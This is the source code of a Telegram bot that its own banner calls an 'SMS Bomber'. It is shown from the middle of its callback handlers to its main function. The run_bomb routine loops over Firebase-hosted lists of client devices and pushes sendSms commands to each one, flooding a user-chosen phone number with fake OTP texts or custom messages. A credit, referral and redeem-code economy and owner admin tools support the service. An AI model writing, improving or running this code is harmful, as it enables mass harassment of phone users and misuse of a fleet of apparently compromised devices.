rows.append([(f"+5", f"admin_give_{target}_5", "success"),
(f"+10", f"admin_give_{target}_10", "primary"),
(f"-5", f"admin_rem_{target}_5", "danger")])
rows.append([("🔙 Back", "admin_users", "danger")])
await q.edit_message_text(msg, parse_mode="HTML", reply_markup=im(rows))
except: pass
# ── CALLBACK ────────────────────────────────────────────────
async def cb(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
try:
q = update.callback_query
uid = q.from_user.id
d = q.data
except: return
# answer fail ho toh bhi button process karo
try:
await q.answer()
except Exception:
pass
try:
if d == "fj_check":
if await check_fj(update, ctx): await q.edit_message_text(f"✅ {B('Thanks! Use')} /start")
else:
try: await q.answer("❌ Join all channels!", show_alert=True)
except: pass
return
if d == "bomb_start":
# double-bomb prevent
if bomb_running(uid):
try: await q.answer("⚠️ Bomb already running! Pehle 🛑 STOP karo.", show_alert=True)
except: pass
return
ctx.user_data.clear()
ctx.user_data['bomb_step'] = 'number'
await q.edit_message_text(f"📞 {B('Enter number:')}\n✅ +91XXXXXXXXXX\n❌ /cancel")
return
if d == "bomb_cancel":
ctx.user_data.clear(); await q.edit_message_text(f"❌ {B('Cancelled.')}"); return
# STOP ab global event se — user_data.clear() se immune
if d == "bomb_stop":
ok = request_bomb_stop(uid)
ctx.user_data['bomb_stop'] = True # legacy backup
try:
if ok:
await q.edit_message_text(f"🛑 {B('Stopping...')}")
else:
await q.edit_message_text(f"ℹ️ {B('No active bomb.')}")
except: pass
return
if d.startswith("msgtype_"):
t = d.split("_")[1]
if t == "cancel": ctx.user_data.clear(); await q.edit_message_text("❌ Cancelled."); return
num = ctx.user_data.get('bomb_num')
if not num: await q.edit_message_text("❌ Error. Restart."); return
if t == "otp":
if bomb_running(uid):
try: await q.answer("⚠️ Bomb already running!", show_alert=True)
except: pass
return
ctx.user_data['bomb_msg'] = "आपका OTP है: {otp} | कृपया इसे किसी को न बताएँ।"
if not deduct_credit(uid):
await q.edit_message_text("❌ No credits!"); return
ctx.user_data['bomb_step'] = 'running'
loga(uid, "Bomb Started", f"Target: {num}")
asyncio.create_task(run_bomb(update, ctx))
await q.edit_message_text(f"🚀 {B('Bombing with OTP!')}\n🛑 STOP button ya /stop use karo")
return
elif t == "custom":
ctx.user_data['bomb_step'] = 'custom_msg'
await q.edit_message_text(f"✏️ {B('Type your custom message NOW:')}\n💡 Use <code>{{otp}}</code> for random OTP", parse_mode="HTML")
return
# ── ADMIN SECTION (owner only) ──
if d.startswith("admin_") and not is_owner(uid):
try: await q.answer("⛔ Owner only!", show_alert=True)
except: pass
return
if d == "admin_panel": ctx.user_data.pop('admin_step', None); await admin_panel(q); return
if d == "admin_users": ctx.user_data.pop('admin_step', None); await admin_users(q, 0); return
if d.startswith("admin_users_page_"): ctx.user_data.pop('admin_step', None); await admin_users(q, int(d.split("_")[-1])); return
if d.startswith("admin_ui_"): ctx.user_data.pop('admin_step', None); t = int(d.split("_")[-1]); await admin_ui(q, t); return
if d == "admin_redeems": ctx.user_data.pop('admin_step', None); await admin_redeems(q); return
if d in ("admin_back", "admin_refresh"): ctx.user_data.pop('admin_step', None); await admin_panel(q); return
# INTERACTIVE ADMIN FLOWS
if d == "admin_ban":
ctx.user_data['admin_step'] = 'ban_id'
await q.edit_message_text(f"🚫 {B('Send user ID to ban:')}\n❌ /cancel")
return
if d == "admin_unban":
ctx.user_data['admin_step'] = 'unban_id'
await q.edit_message_text(f"✅ {B('Send user ID to unban:')}\n❌ /cancel")
return
if d == "admin_add":
ctx.user_data['admin_step'] = 'add_id'
await q.edit_message_text(f"➕ {B('Send user ID:')}\n❌ /cancel")
return
if d == "admin_rem":
ctx.user_data['admin_step'] = 'rem_id'
await q.edit_message_text(f"➖ {B('Send user ID:')}\n❌ /cancel")
return
if d == "admin_redeem":
ctx.user_data['admin_step'] = 'redeem_amt'
await q.edit_message_text(f"🎟️ {B('Enter coin amount:')}\n❌ /cancel")
return
# DIRECT ACTIONS (from user view)
if d.startswith("admin_ban_"):
t = int(d.split("_")[-1]); ban_user(t, uid)
loga(uid, "Banned", str(t))
try: await q.answer(f"✅ Banned {t}", show_alert=True)
except: pass
await admin_ui(q, t); return
if d.startswith("admin_unban_"):
t = int(d.split("_")[-1]); unban_user(t)
loga(uid, "Unbanned", str(t))
try: await q.answer(f"✅ Unbanned {t}", show_alert=True)
except: pass
await admin_ui(q, t); return
if d.startswith("admin_give_"):
p = d.split("_"); t = int(p[2]); a = int(p[3])
add_credits(t, a); loga(uid, f"Added {a}", f"To {t}")
try: await q.answer(f"✅ +{a} credits", show_alert=True)
except: pass
await admin_ui(q, t); return
if d.startswith("admin_rem_"):
p = d.split("_"); t = int(p[2]); a = int(p[3])
ok = remove_credits(t, a)
if ok: loga(uid, f"Removed {a}", f"From {t}")
try: await q.answer(f"{'✅' if ok else '❌'}", show_alert=True)
except: pass
await admin_ui(q, t); return
except Exception as e:
print(f"[cb] Error: {e}")
# ── BOMB ENGINE (STOP FIXED) ───────────────────────────────
async def run_bomb(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
try:
uid = update.effective_user.id
except: return
num = ctx.user_data.get('bomb_num')
tmpl = ctx.user_data.get('bomb_msg', "आपका OTP है: {otp}")
has_otp = '{otp}' in tmpl
cy = 0; ts = 0; tf = 0
# global stop event — user_data.clear() se immune
stop_ev = start_bomb_event(uid)
try:
st = await ctx.application.bot.send_message(uid,
f"🚀 {B('Bombing')} {num}\n🔄 #0 | ✅ 0 | ❌ 0",
reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton("🛑 STOP",
callback_data="bomb_stop", **({"api_kwargs": {"style": "danger"}}))]]))
except:
finish_bomb(uid)
return
try:
while not stop_ev.is_set():
if is_banned(uid): break
cy += 1; tks = []
for url in FIREBASE_URLS:
if stop_ev.is_set(): break
clients = await asyncio.to_thread(fb_get, url, "/clients")
if not clients or not isinstance(clients, dict): continue
for dev in list(clients.keys()):
if stop_ev.is_set(): break
msg = tmpl
if has_otp: msg = tmpl.replace('{otp}', ''.join(random.choices(string.digits, k=6)))
tks.append(asyncio.to_thread(fb_put, url,
f"clients/{dev}/webhookEvent/sendSms",
{"sim":1,"to":num,"message":msg,"isSended":False}))
if tks:
res = await asyncio.gather(*tks)
ts += sum(1 for r in res if r)
tf += sum(1 for r in res if not r)
try:
await st.edit_text(f"🚀 {B('Bombing')} {num}\n🔄 #{cy} | ✅ {ts} | ❌ {tf}")
except: pass
# sleep ki jagah event-wait — STOP dabate hi turant ruk jayega
try:
await asyncio.wait_for(stop_ev.wait(), timeout=0.1)
except asyncio.TimeoutError:
pass
finally:
finish_bomb(uid) # hamesha cleanup — error aaye tab bhi
ctx.user_data.pop('bomb_stop', None)
ctx.user_data.pop('bomb_step', None)
try:
await st.edit_text(
f"━━━━━━━━━━━\n🛑 {B('STOPPED')} 🛑\n━━━━━━━━━━━\n📞 {num}\n🔄 #{cy}\n✅ {ts}\n❌ {tf}\n━━━━━━━━━━━",
parse_mode="HTML", reply_markup=None)
except: pass
loga(uid, "Bomb Ended", f"Target: {num}, Sent: {ts}, Failed: {tf}")
# ── TEXT HANDLER ────────────────────────────────────────────
async def ht(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
try:
if update.effective_user is None: return
uid = update.effective_user.id
text = update.message.text.strip()
if is_banned(uid):
try: await update.message.reply_text(f"❌ {B('Banned.')}")
except: pass
return
if not await check_fj(update, ctx):
await fj_prompt(update, ctx); return
# INTERACTIVE ADMIN INPUT FLOWS (owner only)
if ctx.user_data.get('admin_step'):
if not is_owner(uid):
ctx.user_data.pop('admin_step', None)
try: await update.message.reply_text("⛔ Owner only!")
except: pass
return
step = ctx.user_data.get('admin_step')
if step == 'ban_id':
try:
t = int(text)
if not get_ui(t):
try: await update.message.reply_text("❌ User not found!")
except: pass
else:
ban_user(t, uid); loga(uid, "Banned", str(t))
try: await update.message.reply_text(f"🚫 {B('Banned')} <code>{t}</code>", parse_mode="HTML")
except: pass
except:
try: await update.message.reply_text("❌ Invalid ID!")
except: pass
ctx.user_data.pop('admin_step', None)
return
if step == 'unban_id':
try:
t = int(text)
if unban_user(t):
loga(uid, "Unbanned", str(t))
try: await update.message.reply_text(f"✅ {B('Unbanned')} <code>{t}</code>", parse_mode="HTML")
except: pass
else:
try: await update.message.reply_text("❌ Not banned!")
except: pass
except:
try: await update.message.reply_text("❌ Invalid ID!")
except: pass
ctx.user_data.pop('admin_step', None)
return
if step == 'add_id':
try:
t = int(text)
if not get_ui(t):
try: await update.message.reply_text("❌ User not found!")
except: pass
ctx.user_data.pop('admin_step', None); return
ctx.user_data['admin_target'] = t
ctx.user_data['admin_step'] = 'add_amt'
try: await update.message.reply_text(f"💰 {B('Enter amount for')} <code>{t}</code>:", parse_mode="HTML")
except: pass
except:
try: await update.message.reply_text("❌ Invalid ID!")
except: pass
ctx.user_data.pop('admin_step', None)
return
if step == 'add_amt':
try:
a = int(text)
t = ctx.user_data.get('admin_target')
if a > 0 and t:
add_credits(t, a); loga(uid, f"Added {a}", f"To {t}")
try: await update.message.reply_text(f"✅ +<code>{a}</code> credits → <code>{t}</code>", parse_mode="HTML")
except: pass
else:
try: await update.message.reply_text("❌ Invalid amount!")
except: pass
except:
try: await update.message.reply_text("❌ Enter a number!")
except: pass
ctx.user_data.pop('admin_step', None); ctx.user_data.pop('admin_target', None)
return
if step == 'rem_id':
try:
t = int(text)
if not get_ui(t):
try: await update.message.reply_text("❌ User not found!")
except: pass
ctx.user_data.pop('admin_step', None); return
ctx.user_data['admin_target'] = t
ctx.user_data['admin_step'] = 'rem_amt'
try: await update.message.reply_text(f"➖ {B('Enter amount to remove from')} <code>{t}</code>:", parse_mode="HTML")
except: pass
except:
try: await update.message.reply_text("❌ Invalid ID!")
except: pass
ctx.user_data.pop('admin_step', None)
return
if step == 'rem_amt':
try:
a = int(text)
t = ctx.user_data.get('admin_target')
if a > 0 and t:
if remove_credits(t, a):
loga(uid, f"Removed {a}", f"From {t}")
try: await update.message.reply_text(f"✅ -<code>{a}</code> credits from <code>{t}</code>", parse_mode="HTML")
except: pass
else:
try: await update.message.reply_text("❌ Insufficient credits!")
except: pass
else:
try: await update.message.reply_text("❌ Invalid amount!")
except: pass
except:
try: await update.message.reply_text("❌ Enter a number!")
except: pass
ctx.user_data.pop('admin_step', None); ctx.user_data.pop('admin_target', None)
return
if step == 'redeem_amt':
try:
a = int(text)
if a <= 0:
try: await update.message.reply_text("❌ Enter a positive number!")
except: pass
else:
code = create_redeem(a, uid)
loga(uid, "Redeem Created", f"Code: {code}, {a} cr")
try:
await update.message.reply_text(
f"╔═══◈═══╗\n║ {B('REDEEM CODE')} ║\n╚═══◈═══╝\n\n{sl()}\n"
f"💰 Amount: <code>{a}</code>\n"
f"🔑 Code: <code>{code}</code>\n"
f"✨ {B(code)}\n{sl()}\n\n"
f"📤 Send this code to users!",
parse_mode="HTML")
except: pass
except:
try: await update.message.reply_text("❌ Enter a number!")
except: pass
ctx.user_data.pop('admin_step', None)
return
ctx.user_data.pop('admin_step', None)
return
# REDEEM FLOW (user types code)
if ctx.user_data.get('redeem_step') == 'code':
code = text.strip()
r = get_redeem(code)
if not r:
try: await update.message.reply_text(f"❌ {B('Invalid code!')}")
except: pass
elif r[3] is not None:
try: await update.message.reply_text(f"❌ {B('Code already used!')}")
except: pass
else:
use_redeem(code, uid)
add_credits(uid, r[1])
loga(uid, "Redeemed", f"Code: {code}, +{r[1]}")
try:
await update.message.reply_text(
f"╔═══◈═══╗\n║ {B('REDEEMED')} ║\n╚═══◈═══╝\n\n{sl()}\n"
f"✅ +<code>{r[1]}</code> credits!\n"
f"💰 New balance: <code>{get_credits(uid)}</code>\n{sl()}",
parse_mode="HTML")
except: pass
ctx.user_data.pop('redeem_step', None)
return
# FLOW: NUMBER INPUT
if ctx.user_data.get('bomb_step') == 'number':
if bomb_running(uid):
ctx.user_data.pop('bomb_step', None)
try: await update.message.reply_text("⚠️ Bomb already running! Pehle 🛑 STOP karo.")
except: pass
return
ok, m = validate_phone(text)
if not ok:
try: await update.message.reply_text(f"{m}\n📞 +91XXXXXXXXXX")
except: pass
return
ctx.user_data['bomb_num'] = text.strip()
ctx.user_data['bomb_step'] = 'msgtype'
await update.message.reply_text("📝 Select type:",
reply_markup=im([[("🔢 OTP", "msgtype_otp", "primary"),
("✏️ Custom", "msgtype_custom", "success")],
[("❌ Cancel", "msgtype_cancel", "danger")]]))
return
# FLOW: CUSTOM MESSAGE INPUT
if ctx.user_data.get('bomb_step') == 'custom_msg':
if not text:
try: await update.message.reply_text("❌ Empty")
except: pass
return
if bomb_running(uid):
ctx.user_data.pop('bomb_step', None)
try: await update.message.reply_text("⚠️ Bomb already running! Pehle 🛑 STOP karo.")
except: pass
return
ctx.user_data['bomb_msg'] = text
if not deduct_credit(uid):
try: await update.message.reply_text("❌ No credits!")
except: pass
return
num = ctx.user_data.get('bomb_num')
ctx.user_data['bomb_step'] = 'running'
loga(uid, "Bomb Started", f"Target: {num}")
asyncio.create_task(run_bomb(update, ctx))
try: await update.message.reply_text(f"🚀 {B('Bombing with custom msg!')}\n🛑 /stop ya STOP button")
except: pass
return
# MAIN MENU BUTTONS
if text == "💣 𝘽𝙊𝙈𝘽 𝙎𝙈𝙎":
ctx.user_data.clear()
if bomb_running(uid):
try: await update.message.reply_text("⚠️ Bomb already running! Pehle 🛑 STOP karo.")
except: pass
return
creds = get_credits(uid)
if creds <= 0:
try: await update.message.reply_text(f"╔═══◈═══╗\n║ {B('NO CREDITS')} ║\n╚═══◈═══╝\n\n❌ 0 credits! 🔗 Use referral or 🎟️ Redeem.")
except: pass
return
await update.message.reply_text(
f"╔═══◈═══╗\n║ {B('SMS BOMBER')} ║\n╚═══◈═══╝\n\n💰 <code>{creds}</code>\n{sl()}\n💣 1 credit = 1 bomb",
parse_mode="HTML",
reply_markup=im([[("🚀 Start", "bomb_start", "success"), ("❌ Cancel", "bomb_cancel", "danger")]]))
return
if text == "💰 𝘾𝙍𝙀𝘿𝙄𝙏𝙎":
try: await update.message.reply_text(f"╔═══◈═══╗\n║ {B('CREDITS')} ║\n╚═══◈═══╝\n\n💰 <code>{get_credits(uid)}</code>\n💡 Use referral or redeem to earn more")
except: pass
return
# REDEEM BUTTON
if text == "🎟️ 𝙍𝙀𝘿𝙀𝙀𝙈":
ctx.user_data.clear()
ctx.user_data['redeem_step'] = 'code'
try:
await update.message.reply_text(
f"╔═══◈═══╗\n║ {B('REDEEM')} ║\n╚═══◈═══╝\n\n"
f"🎟️ {B('Enter your code:')}\n💡 Format: <code>titan-XXXXXX</code>\n❌ /cancel",
parse_mode="HTML")
except: pass
return
if text == "🔗 𝙍𝙀𝙁𝙀𝙍𝙍𝘼𝙇":
bot = (await ctx.application.bot.get_me()).username
try: await update.message.reply_text(
f"╔═══◈═══╗\n║ {B('REFERRAL')} ║\n╚═══◈═══╝\n\n🔗 <code>https://t.me/{bot}?start=ref_{uid}</code>\n\n🎁 +1 credit per new user!")
except: pass
return
if text == "🏆 𝙇𝙀𝘼𝘿𝙀𝙍𝘽𝙊𝘼𝙍𝘿":
lb = get_lb(10)
m = f"╔═══◈═══╗\n║ {B('LEADERBOARD')} ║\n╚═══◈═══╝\n\n"
for i,(u2,cr,bm) in enumerate(lb, 1):
md = "🥇" if i==1 else "🥈" if i==2 else "🥉" if i==3 else f"{i}."
m += f"{md} <code>{u2}</code> | 💰{cr} | 💣{bm}\n"
try: await update.message.reply_text(m, parse_mode="HTML")
except: pass
return
if text == "📜 𝙃𝙄𝙎𝙏𝙊𝙍𝙔":
conn = getc(); c = conn.cursor()
c.execute("SELECT action, details, created_at FROM user_history WHERE user_id=? ORDER BY id DESC LIMIT 10", (uid,))
rows = c.fetchall(); conn.close()
if not rows:
try: await update.message.reply_text("📭 Empty")
except: pass
return
m = f"╔═══◈═══╗\n║ {B('HISTORY')} ║\n╚═══◈═══╝\n\n"
for a,d_,t in rows: m += f"• {a} — {d_} ({t[:16]})\n"
try: await update.message.reply_text(m)
except: pass
return
if text == "📊 𝙎𝙏𝘼𝙏𝙎":
t, tc, tb = get_stats()
try: await update.message.reply_text(
f"╔═══◈═══╗\n║ {B('STATS')} ║\n╚═══◈═══╝\n\n{sl()}\n👥 {t}\n💰 {tc}\n💣 {tb}\n👤 Your credits: <code>{get_credits(uid)}</code>\n{sl()}")
except: pass
return
if text == "⚙️ 𝘼𝘿𝙈𝙄𝙉 𝙋𝘼𝙉𝙀𝙇" and is_owner(uid):
text_p, kb = admin_panel_data()
try: await update.message.reply_text(text_p, parse_mode="HTML", reply_markup=kb)
except: pass
return
try: await update.message.reply_text(f"❌ {B('Use buttons!')}\n💡 /start")
except: pass
except Exception as e:
print(f"[ht] Error: {e}")
# ── OWNER COMMANDS ─────────────────────────────────────────
async def users_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
try:
if not is_owner(update.effective_user.id):
try: await update.message.reply_text("⛔")
except: pass
return
users = get_all_users()
conn = getc(); c = conn.cursor()
c.execute("SELECT COUNT(*) FROM banned_users"); bc = c.fetchone()[0]; conn.close()
m = f"╔═══◈═══╗\n║ {B('USERS')} ║\n╚═══◈═══╝\n\n👥 {len(users)} | 🚫 {bc}\n\n"
for ui,cr,bm,jt in users:
m += f"<code>{ui}</code> | 💰{cr} | 💣{bm}\n"
if len(m) > 3500: m += f"\n... more"; break
try: await update.message.reply_text(m, parse_mode="HTML")
except: pass
except: pass
async def ui_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
try:
if not is_owner(update.effective_user.id):
try: await update.message.reply_text("⛔")
except: pass
return
if not ctx.args:
try: await update.message.reply_text("/userinfo [id]")
except: pass
return
try: t = int(ctx.args[0]); info = get_ui(t)
except:
try: await update.message.reply_text("❌")
except: pass
return
if not info:
try: await update.message.reply_text("❌ Not found")
except: pass
return
try: await update.message.reply_text(
f"╔═══◈═══╗\n║ {B('USER')} ║\n╚═══◈═══╝\n\n{sl()}\n🆔 <code>{info[0]}</code>\n💰 {info[1]}\n👥 {info[2] or 'None'}\n💣 {info[3]}\n📅 {info[4]}\n🚫 {'✅' if is_banned(t) else '❌'}\n{sl()}",
parse_mode="HTML")
except: pass
except: pass
async def ac_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
try:
if not is_owner(update.effective_user.id):
try: await update.message.reply_text("⛔")
except: pass
return
if len(ctx.args) < 2:
try: await update.message.reply_text("/addcredits [id] [amt]")
except: pass
return
try:
t,a = int(ctx.args[0]), int(ctx.args[1]); add_credits(t,a)
loga(update.effective_user.id, f"Added {a}", f"To {t}")
try: await update.message.reply_text(f"✅ Added {a} to {t}")
except: pass
except:
try: await update.message.reply_text("❌")
except: pass
except: pass
async def rc_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
try:
if not is_owner(update.effective_user.id):
try: await update.message.reply_text("⛔")
except: pass
return
if len(ctx.args) < 2:
try: await update.message.reply_text("/removecredits [id] [amt]")
except: pass
return
try:
t,a = int(ctx.args[0]), int(ctx.args[1])
if remove_credits(t,a):
loga(update.effective_user.id, f"Removed {a}", f"From {t}")
try: await update.message.reply_text(f"✅ Removed {a}")
except: pass
else:
try: await update.message.reply_text("❌ Insufficient")
except: pass
except:
try: await update.message.reply_text("❌")
except: pass
except: pass
async def ban_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
try:
if not is_owner(update.effective_user.id):
try: await update.message.reply_text("⛔")
except: pass
return
if not ctx.args:
try: await update.message.reply_text("/ban [id]")
except: pass
return
try:
t = int(ctx.args[0]); ban_user(t, update.effective_user.id)
loga(update.effective_user.id, "Banned", f"{t}")
try: await update.message.reply_text(f"🚫 Banned {t}")
except: pass
except:
try: await update.message.reply_text("❌")
except: pass
except: pass
async def unban_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
try:
if not is_owner(update.effective_user.id):
try: await update.message.reply_text("⛔")
except: pass
return
if not ctx.args:
try: await update.message.reply_text("/unban [id]")
except: pass
return
try:
t = int(ctx.args[0])
if unban_user(t):
loga(update.effective_user.id, "Unbanned", f"{t}")
try: await update.message.reply_text(f"✅ Unbanned {t}")
except: pass
else:
try: await update.message.reply_text("❌ Not banned")
except: pass
except:
try: await update.message.reply_text("❌")
except: pass
except: pass
async def bcast(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
try:
if not is_owner(update.effective_user.id):
try: await update.message.reply_text("⛔")
except: pass
return
if not ctx.args:
try: await update.message.reply_text("/broadcast [msg]")
except: pass
return
msg = " ".join(ctx.args); users = get_all_users(); sd=0; fl=0
try: st = await update.message.reply_text("📢 Broadcasting...")
except: return
for (u2,_,_,_) in users:
if is_banned(u2): fl+=1; continue
try:
await ctx.application.bot.send_message(u2,
f"╔═══◈═══╗\n║ {B('BROADCAST')} ║\n╚═══◈═══╝\n\n{msg}", parse_mode="HTML")
sd+=1
except: fl+=1
if (sd+fl)%20==0:
try: await st.edit_text(f"📢 Sent: {sd} | Failed: {fl}")
except: pass
await asyncio.sleep(0.02)
try: await st.edit_text(f"✅ Done!\nSent: {sd}\nFailed: {fl}")
except: pass
loga(update.effective_user.id, "Broadcast", f"Sent: {sd}")
except: pass
# /stop ab global event use karta hai
async def stop_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
try:
uid = update.effective_user.id
except: return
ok = request_bomb_stop(uid)
ctx.user_data['bomb_stop'] = True # legacy backup
try:
if ok:
await update.message.reply_text(f"🛑 {B('Stopping...')}")
else:
await update.message.reply_text(f"ℹ️ {B('No active bomb.')}")
except: pass
async def cancel_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
ctx.user_data.clear()
try: await update.message.reply_text(f"❌ {B('Cancelled.')}")
except: pass
# ── MAIN ───────────────────────────────────────────────────
def main():
request_kwargs = {
"read_timeout": 30,
"write_timeout": 30,
"connect_timeout": 30,
"pool_timeout": 30,
"connection_pool_size": 10,
}
bot_request = HTTPXRequest(**request_kwargs)
# ⭐ FIX: concurrent_updates builder me pass hota hai (property setter nahi hai)
app = (
Application.builder()
.token(TOKEN)
.request(bot_request)
.concurrent_updates(True)
.build()
)
for h in [("start", start), ("set", set_video), ("stop", stop_cmd), ("cancel", cancel_cmd),
("users", users_cmd), ("userinfo", ui_cmd), ("addcredits", ac_cmd),
("removecredits", rc_cmd), ("ban", ban_cmd), ("unban", unban_cmd), ("broadcast", bcast)]:
app.add_handler(CommandHandler(h[0], h[1]))
app.add_handler(CallbackQueryHandler(cb))
app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, ht))
print("""
╔══════════════════════════════════════════════════╗
║ 🔥 SMS BOMBER — V3.1 (FINAL) 🔥 ║
║ ✅ STOP instant — global asyncio.Event ║
║ ✅ user_data.clear() se stop immune ║
║ ✅ concurrent_updates (builder) — queue fix ║
║ ✅ Double-bomb prevent ║
║ ✅ finally cleanup — crash pe bhi unlock ║
║ ✅ Interactive Admin + Redeem intact ║
╚══════════════════════════════════════════════════╝
""")
app.run_polling(allowed_updates=Update.ALL_TYPES, drop_pending_updates=True)
if __name__ == "__main__":
main()